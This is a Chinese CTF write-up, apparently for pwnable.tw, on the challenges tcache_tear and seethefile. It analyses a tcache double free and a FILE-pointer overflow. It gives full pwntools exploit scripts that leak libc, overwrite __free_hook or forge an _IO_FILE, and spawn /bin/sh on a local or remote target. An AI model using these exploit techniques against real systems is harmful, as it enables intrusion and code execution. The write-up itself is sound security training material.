tcache_tear

分析

1
2
3
4
5
6
7
8
Arch:     amd64-64-little
RELRO:    Full RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      No PIE (0x400000)
FORTIFY:  Enabled

libc_version: Ubuntu GLIBC 2.27-3ubuntu1

程序开始在bss段上读入了一个0x20的名字

malloc: 输入指定size,分配,指针ptr同样存储在bss,读入size-16的字符,这里字符个数可以溢出

free: 释放ptr空间,指针悬空,可以double free,程序使用了tcache,且在这个版本释放没有任何的检查

info: 打印姓名

总体思路

利用tcache double free,可以对任意地址进行改写。在name处伪造一个chunk释放到unsorted bin,进行libc base的泄露。将__free_hook改写为system地址。

伪造chunk注意绕过free的所有检查。伪造完成的结构如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
+----------+
|          |
|          |
|  0x421   |
|          |
+----------+
|  0x21    |
+----------+
|  0x21    |
+----------+

tcache默认最多有64个,第1个是0x20大小,递推第64个也就是0x410。所以将name处伪造为0x420大小。第一个chunk的chunk->size=0x420|pre_in_use,避免backward consolidate,第三个chunk的chunk->size=0x20|pre_in_use,避免forward consolidate。

exploit

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
#!/usr/bin/env python3

from pwn import *

context(os="linux", arch="amd64", log_level="info")
localfile = "./tcache_tear"
locallibc = "./libc.so.6"
pf      = lambda name,num           :log.info(name + ": 0x%x" % num)
g       = lambda x                  :next(libc.search(asm(x)))

def init_(name):
    io.recvuntil("Name:")
    io.send(name)

def malloc_(size, content):
    io.recvuntil("Your choice :")
    io.sendline("1")
    io.recvuntil("Size:")
    io.sendline(str(size))
    io.recvuntil("Data:")
    io.send(content)

def free_():
    io.recvuntil("Your choice :")
    io.sendline("2")

def info_():
    io.recvuntil("Your choice :")
    io.sendline("3")
    io.recvuntil("Name :")
    return io.recvline()

def exp():
    # create fake chunk
    name_addr = 0x602060
    init_(p64(0) + p64(0x421))
    malloc_(0x40, "A")
    free_()
    free_()
    malloc_(0x40, p64(name_addr+0x420))
    malloc_(0x40, "A")
    malloc_(0x40, p64(0)+p64(0x21)+p64(0)*3+p64(0x21))
	
    # free fake chunk
    malloc_(0x20, "A")
    free_()
    free_()
    malloc_(0x20, p64(name_addr+0x10))
    malloc_(0x20, "A")
    malloc_(0x20, "A")
    free_()

    # gdb.attach(io, "b *0x200C11")
    # leak libc base
    ret = info_()
    libc_base = u64(ret[16:24]) - 0x3EBCA0
    free_hook = libc_base + libc.sym["__free_hook"]
    system_addr = libc_base + libc.sym["system"]
    
    # overwrite __free_hook
    malloc_(0x30, "A")
    free_()
    free_()
    malloc_(0x30, p64(free_hook))
    malloc_(0x30, "A")
    malloc_(0x30, p64(system_addr))
	
    # trigger
    malloc_(0x50, "/bin/sh")
    free_()

    io.interactive()

argc = len(sys.argv)
if argc == 1:
    io = process(localfile)
else:
    if argc == 2:
        host, port = sys.argv[1].split(":")
    elif argc == 3:
        host = sys.argv[1]
        port = sys.argv[2]
    io = remote(host, port)

elf = ELF(localfile)
libc = ELF(locallibc)
exp()

seethefile

分析

1
2
3
4
5
6
7
Arch:     i386-32-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x8047000)

libc_version: Ubuntu GLIBC 2.23-0ubuntu5

openfile: 输入路径,打开文件,进行了简单的路径过滤

readfile: 从文件中读取0x18f

writefile: 输出读取的内容。对文件内容进行了过滤,存在某些字符就不输出

exit: 读入姓名,这里存在任意长度溢出,可以发现可覆盖fp

image-20200819184742646

总体思路

利用/proc/self/maps泄露libc base。使用name的溢出构造fake _IO_FILE,将__finish改成system_addr,劫持fclose控制流。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
/* libio/iofclose.c */
int
_IO_new_fclose (_IO_FILE *fp)
{
  int status;

  CHECK_FILE(fp, EOF);

#if SHLIB_COMPAT (libc, GLIBC_2_0, GLIBC_2_1)
  /* We desperately try to help programs which are using streams in a
     strange way and mix old and new functions.  Detect old streams
     here.  */
  if (_IO_vtable_offset (fp) != 0)
    return _IO_old_fclose (fp);
#endif

  /* First unlink the stream.  */
  if (fp->_IO_file_flags & _IO_IS_FILEBUF)      // 去掉_IO_IS_FILEBUF flag
    _IO_un_link ((struct _IO_FILE_plus *) fp);

  _IO_acquire_lock (fp);                        // 需要_IO_USER_LOCK 0x8000 flag,
  if (fp->_IO_file_flags & _IO_IS_FILEBUF)      // 否则会在这里发生段错误
    status = _IO_file_close_it (fp);
  else
    status = fp->_flags & _IO_ERR_SEEN ? -1 : 0;
  _IO_release_lock (fp);
  _IO_FINISH (fp);                              // 执行vtable中的__finish
  if (fp->_mode > 0)
    {
#if _LIBC
      /* This stream has a wide orientation.  This means we have to free
	 the conversion functions.  */
      struct _IO_codecvt *cc = fp->_codecvt;

      __libc_lock_lock (__gconv_lock);
      __gconv_release_step (cc->__cd_in.__cd.__steps);
      __gconv_release_step (cc->__cd_out.__cd.__steps);
      __libc_lock_unlock (__gconv_lock);
#endif
    }
  else
    {
      if (_IO_have_backup (fp))
	_IO_free_backup_area (fp);
    }
  if (fp != _IO_stdin && fp != _IO_stdout && fp != _IO_stderr)
    {
      fp->_IO_file_flags = 0;
      free(fp);
    }

  return status;
}

exploit

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
#!/usr/bin/env python3

from pwn import *

context(os="linux", arch="amd64", log_level="debug")
localfile = "./origin_seethefile"
locallibc = "libc.so.6"
# locallibc = "/home/liu/src/how2heap/glibc_versions/2.23/i686_tcache/lib/libc-2.23.so"
pf      = lambda name,num           :log.info(name + ": 0x%x" % num)
g       = lambda x                  :next(libc.search(asm(x)))

def menu(idx):
    io.recvuntil("Your choice :")
    io.sendline(str(idx))

def open(filename):
    menu(1)
    io.recvuntil("What do you want to see :")
    io.sendline(filename)

def read():
    menu(2)

def close():
    menu(4)

def exit(name):
    menu(5)
    io.recvuntil("Leave your name :")
    io.sendline(name)

def exp():
    # leak libc base
    name_addr = 0x804B260
    open("/proc/self/maps")
    read()
    menu(3)
    read()
    menu(3)
    io.recvuntil("0 \n")
    libc_base = int(io.recv(8), 16)
    system_addr = libc_base + libc.sym["system"]
    pf("libc base", libc_base)
    
    # create fake IO_FILE
    payload  = b"A"*0x20 + p32(name_addr+0x30) + b"A"*0xc
    payload += b"\xff\xdf\xff\xff;/bin/sh\x00".ljust(0x94, b"\x00") + p32(name_addr+0x30+0x98)
    payload += p32(system_addr)*0x20
    
    # payload = b"\x11\x80\x11\x11;sh".ljust(8, b"\x00") + p32(system_addr)*6 + p32(name_addr) + p32(0)*28 + p32(name_addr)
    # gdb.attach(io, "b fclose")
    exit(payload)

    io.interactive()
    io.sendline("cd /home/seethefile/")


argc = len(sys.argv)
if argc == 1:
    io = process(localfile)
else:
    if argc == 2:
        host, port = sys.argv[1].split(":")
    elif argc == 3:
        host = sys.argv[1]
        port = sys.argv[2]
    io = remote(host, port)

elf = ELF(localfile)
libc = ELF(locallibc)
exp()

ERROR

这个libc无论是使用自编译的ld(release/2.23/master),还是ubuntu16.04当前最新的ld,均无法成功运行seethefile。